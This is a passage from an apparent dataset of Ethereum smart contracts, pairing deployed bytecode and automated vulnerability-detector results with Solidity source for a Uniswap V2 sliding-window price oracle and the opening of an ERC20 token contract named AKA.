01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611463565b600081848411156112155760405162461bcd60e51b81526004016106299190611a1e565b5060006112228486611cc2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d6611491565b90506112e283826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c65565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611cd9565b816001815181106113c1576113c1611c65565b6001600160a01b0392831660209182029290920101526014546113e79130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611420908590600090869030904290600401611cf6565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611470576114706114f6565b61147b848484611524565b80610a7257610a72600e54600c55600f54600d55565b600080600061149e61161b565b90925090506114ad82826114b4565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165d565b600c541580156115065750600d54155b1561150d57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115368761168b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156890876116e8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611597908661172a565b6001600160a01b0389166000908152600260205260409020556115b981611789565b6115c384836117d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163782826114b4565b82101561165457505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361167e5760405162461bcd60e51b81526004016106299190611a1e565b5060006112228486611d67565b60008060008060008060008060006116a88a600c54600d546117f7565b92509250925060006116b8611491565b905060008060006116cb8e87878761184c565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117378385611caa565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b6000611793611491565b905060006117a1838361189c565b306000908152600260205260409020549091506117be908261172a565b30600090815260026020526040902055505050565b6006546117e090836116e8565b6006556007546117f0908261172a565b6007555050565b6000808080611811606461180b898961189c565b906114b4565b90506000611824606461180b8a8961189c565b9050600061183c826118368b866116e8565b906116e8565b9992985090965090945050505050565b600080808061185b888661189c565b90506000611869888761189c565b90506000611877888861189c565b905060006118898261183686866116e8565b939b939a50919850919650505050505050565b6000826000036118ae575060006106af565b60006118ba8385611d89565b9050826118c78583611d67565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195481611934565b919050565b6000602080838503121561196c57600080fd5b823567ffffffffffffffff8082111561198457600080fd5b818501915085601f83011261199857600080fd5b8135818111156119aa576119aa61191e565b8060051b604051601f19603f830116810181811085821117156119cf576119cf61191e565b6040529182528482019250838101850191888311156119ed57600080fd5b938501935b82851015611a1257611a0385611949565b845293850193928501926119f2565b98975050505050505050565b600060208083528351808285015260005b81811015611a4b57858101830151858201604001528201611a2f565b81811115611a5d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8657600080fd5b8235611a9181611934565b946020939093013593505050565b600080600060608486031215611ab457600080fd5b8335611abf81611934565b92506020840135611acf81611934565b929592945050506040919091013590565b600060208284031215611af257600080fd5b81356112e281611934565b8035801515811461195457600080fd5b600060208284031215611b1f57600080fd5b6112e282611afd565b600060208284031215611b3a57600080fd5b5035919050565b60008060008060808587031215611b5757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8857600080fd5b833567ffffffffffffffff80821115611ba057600080fd5b818601915086601f830112611bb457600080fd5b813581811115611bc357600080fd5b8760208260051b8501011115611bd857600080fd5b602092830195509350611bee9186019050611afd565b90509250925092565b60008060408385031215611c0a57600080fd5b8235611c1581611934565b91506020830135611c2581611934565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca357611ca3611c7b565b5060010190565b60008219821115611cbd57611cbd611c7b565b500190565b600082821015611cd457611cd4611c7b565b500390565b600060208284031215611ceb57600080fd5b81516112e281611934565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d465784516001600160a01b031683529383019391830191600101611d21565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da357611da3611c7b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209eacfdd1c4458494914f298235355ecddbde817e5440cd849ecf66f104435bf564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,718 |
0xef6d9e69995bb2a885f9907c5d75fe66f3ff7729
|
pragma solidity =0.6.6;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// sliding window oracle that uses observations collected over a window to provide moving price averages in the past
// `windowSize` with a precision of `windowSize / granularity`
contract UniswapV2Oracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
address public immutable factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
// the desired amount of time over which the moving average should be computed, e.g. 24 hours
uint public immutable windowSize = 14400;
// the number of observations stored for each pair, i.e. how many price observations are stored for the window.
// as granularity increases from 1, more frequent updates are needed, but moving averages become more precise.
// averages are computed over intervals with sizes in the range:
// [windowSize - (windowSize / granularity) * 2, windowSize]
// e.g. if the window size is 24 hours, and the granularity is 24, the oracle will return the average price for
// the period:
// [now - [22 hours, 24 hours], now]
uint8 public immutable granularity = 4;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint public immutable periodSize = 3600;
address[] internal _pairs;
mapping(address => bool) internal _known;
function pairs() external view returns (address[] memory) {
return _pairs;
}
// mapping from pair address to a list of price observations of that pair
mapping(address => Observation[]) public pairObservations;
constructor() public {}
// returns the index of the observation corresponding to the given timestamp
function observationIndexOf(uint timestamp) public view returns (uint8 index) {
uint epochPeriod = timestamp / periodSize;
return uint8(epochPeriod % granularity);
}
// returns the observation from the oldest epoch (at the beginning of the window) relative to the current time
function getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) {
uint8 observationIndex = observationIndexOf(block.timestamp);
// no overflow issue. if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = pairObservations[pair][firstObservationIndex];
}
function updatePair(address pair) external returns (bool) {
return _update(pair);
}
// update the cumulative price for the observation at the current timestamp. each observation is updated at most
// once per epoch period.
function update(address tokenA, address tokenB) external returns (bool) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
return _update(pair);
}
function add(address tokenA, address tokenB) external {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
}
function updateAll() external returns (bool updated) {
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateFor(uint i, uint length) external returns (bool updated) {
for (; i < length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function _update(address pair) internal returns (bool) {
// populate the array with empty observations (first call only)
for (uint i = pairObservations[pair].length; i < granularity; i++) {
pairObservations[pair].push();
}
// get the observation for the current period
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed > periodSize) {
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
observation.timestamp = block.timestamp;
observation.price0Cumulative = price0Cumulative;
observation.price1Cumulative = price1Cumulative;
return true;
}
return false;
}
// given the cumulative prices of the start and end of a period, and the length of the period, compute the average
// price in terms of how much amount out is received for the amount in
function computeAmountOut(
uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn
) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = priceAverage.mul(amountIn).decode144();
}
// returns the amount out corresponding to the amount in for a given token using the moving average over the time
// range [now - [windowSize, windowSize - periodSize * 2], now]
// update must have been called for the bucket corresponding to timestamp `now - windowSize`
function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
Observation storage firstObservation = getFirstObservationInWindow(pair);
uint timeElapsed = block.timestamp - firstObservation.timestamp;
require(timeElapsed <= windowSize, 'SlidingWindowOracle: MISSING_HISTORICAL_OBSERVATION');
// should never happen.
require(timeElapsed >= windowSize - periodSize * 2, 'SlidingWindowOracle: UNEXPECTED_TIME_ELAPSED');
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
if (token0 == tokenIn) {
return computeAmountOut(firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return computeAmountOut(firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063bfcc8e421161008c578063c9ff6f4d11610066578063c9ff6f4d14610250578063dbaad32f14610273578063e4463eb214610290578063ffb0a4a014610298576100cf565b8063bfcc8e42146101b4578063c45a0155146101fe578063c640752d14610222576100cf565b80631b56bbf9146100d457806352c28fab1461010e57806353d786931461013e578063556f0dc7146101465780638a14117a146101645780638c86f1e41461017e575b600080fd5b6100fa600480360360208110156100ea57600080fd5b50356001600160a01b03166102f0565b604080519115158252519081900360200190f35b61013c6004803603604081101561012457600080fd5b506001600160a01b0381358116916020013516610303565b005b6100fa6103ed565b61014e61043b565b6040805160ff9092168252519081900360200190f35b61016c61045f565b60408051918252519081900360200190f35b61016c6004803603606081101561019457600080fd5b506001600160a01b03813581169160208101359160409091013516610483565b6101e0600480360360408110156101ca57600080fd5b506001600160a01b038135169060200135610616565b60408051938452602084019290925282820152519081900360600190f35b610206610655565b604080516001600160a01b039092168252519081900360200190f35b6100fa6004803603604081101561023857600080fd5b506001600160a01b0381358116916020013516610679565b6100fa6004803603604081101561026657600080fd5b50803590602001356106bc565b61014e6004803603602081101561028957600080fd5b50356106eb565b61016c61074e565b6102a0610772565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102dc5781810151838201526020016102c4565b505050509050019250505060405180910390f35b60006102fb826107d4565b90505b919050565b60006103307f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f84846108f3565b6001600160a01b03811660009081526001602052604090205490915060ff1615610389576040805162461bcd60e51b815260206004820152600560248201526435b737bbb760d91b604482015290519081900360640190fd5b6001600160a01b031660008181526001602081905260408220805460ff191682179055815490810182559080527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5630180546001600160a01b03191690911790555050565b6000805b600054811015610437576104256000828154811061040b57fe5b6000918252602090912001546001600160a01b03166107d4565b1561042f57600191505b6001016103f1565b5090565b7f000000000000000000000000000000000000000000000000000000000000000481565b7f000000000000000000000000000000000000000000000000000000000000384081565b6000806104b17f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f86856108f3565b905060006104be826109b3565b805490915042037f00000000000000000000000000000000000000000000000000000000000038408111156105245760405162461bcd60e51b8152600401808060200182810382526033815260200180610eb26033913960400191505060405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000e106002027f0000000000000000000000000000000000000000000000000000000000003840038110156105a85760405162461bcd60e51b815260040180806020018281038252602c815260200180610ee5602c913960400191505060405180910390fd5b6000806105b485610a42565b509150915060006105c58a89610c11565b509050896001600160a01b0316816001600160a01b031614156105ff576105f2856001015484868c610cef565b965050505050505061060f565b6105f2856002015483868c610cef565b9392505050565b6002602052816000526040600020818154811061062f57fe5b600091825260209091206003909102018054600182015460029092015490935090915083565b7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6000806106a77f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f85856108f3565b90506106b2816107d4565b9150505b92915050565b60005b818310156106b6576106d76000848154811061040b57fe5b156106e0575060015b6001909201916106bf565b6000807f0000000000000000000000000000000000000000000000000000000000000e10838161071757fe5b0490507f000000000000000000000000000000000000000000000000000000000000000460ff16818161074657fe5b069392505050565b7f0000000000000000000000000000000000000000000000000000000000000e1081565b606060008054806020026020016040519081016040528092919081815260200182805480156107ca57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116107ac575b5050505050905090565b6001600160a01b0381166000908152600260205260408120545b7f000000000000000000000000000000000000000000000000000000000000000460ff16811015610842576001600160a01b03831660009081526002602052604081208054600190810182559152016107ee565b50600061084e426106eb565b6001600160a01b03841660009081526002602052604081208054929350909160ff841690811061087a57fe5b60009182526020909120600390910201805490915042037f0000000000000000000000000000000000000000000000000000000000000e108111156108e8576000806108c587610a42565b50428655600180870192909255600290950194909455509193506102fe92505050565b506000949350505050565b60008060006109028585610c11565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b6000806109bf426106eb565b905060007f000000000000000000000000000000000000000000000000000000000000000460ff168260010160ff16816109f557fe5b06905060026000856001600160a01b03166001600160a01b031681526020019081526020016000208160ff1681548110610a2b57fe5b906000526020600020906003020192505050919050565b6000806000610a4f610d4d565b9050836001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d6020811015610ab457600080fd5b505160408051635a3d549360e01b815290519194506001600160a01b03861691635a3d549391600480820192602092909190829003018186803b158015610afa57600080fd5b505afa158015610b0e573d6000803e3d6000fd5b505050506040513d6020811015610b2457600080fd5b505160408051630240bc6b60e21b81529051919350600091829182916001600160a01b03891691630902f1ac916004808301926060929190829003018186803b158015610b7057600080fd5b505afa158015610b84573d6000803e3d6000fd5b505050506040513d6060811015610b9a57600080fd5b5080516020820151604090920151909450909250905063ffffffff80821690851614610c075780840363ffffffff8116610bd48486610d57565b516001600160e01b031602969096019563ffffffff8116610bf58585610d57565b516001600160e01b0316029590950194505b5050509193909250565b600080826001600160a01b0316846001600160a01b03161415610c655760405162461bcd60e51b8152600401808060200182810382526025815260200180610f116025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610610c85578284610c88565b83835b90925090506001600160a01b038216610ce8576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b6000610cf9610e8c565b60405180602001604052808588880381610d0f57fe5b046001600160e01b031690529050610d2f610d2a8285610e07565b610e85565b71ffffffffffffffffffffffffffffffffffff169695505050505050565b63ffffffff421690565b610d5f610e8c565b6000826001600160701b031611610dbd576040805162461bcd60e51b815260206004820152601760248201527f4669786564506f696e743a204449565f42595f5a45524f000000000000000000604482015290519081900360640190fd5b6040805160208101909152806001600160701b0384166dffffffffffffffffffffffffffff60701b607087901b1681610df257fe5b046001600160e01b0316815250905092915050565b610e0f610e9e565b6000821580610e3557505082516001600160e01b031682810290838281610e3257fe5b04145b610e705760405162461bcd60e51b8152600401808060200182810382526023815260200180610f366023913960400191505060405180910390fd5b60408051602081019091529081529392505050565b5160701c90565b60408051602081019091526000815290565b604051806020016040528060008152509056fe536c6964696e6757696e646f774f7261636c653a204d495353494e475f484953544f524943414c5f4f42534552564154494f4e536c6964696e6757696e646f774f7261636c653a20554e45585045435445445f54494d455f454c4150534544556e697377617056324c6962726172793a204944454e544943414c5f4144445245535345534669786564506f696e743a204d554c5449504c49434154494f4e5f4f564552464c4f57a26469706673582212205afdc2d720ca8293c37dfddd1a70d5e74bd93beefb7c9d627541fe8ac7b8edb564736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,719 |
0xa6c8eda3005d899da5910d4a50bb73d8247b4837
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AKA is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "AREKANET";
_symbol = "AKA";
_totalSupply = 17000000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
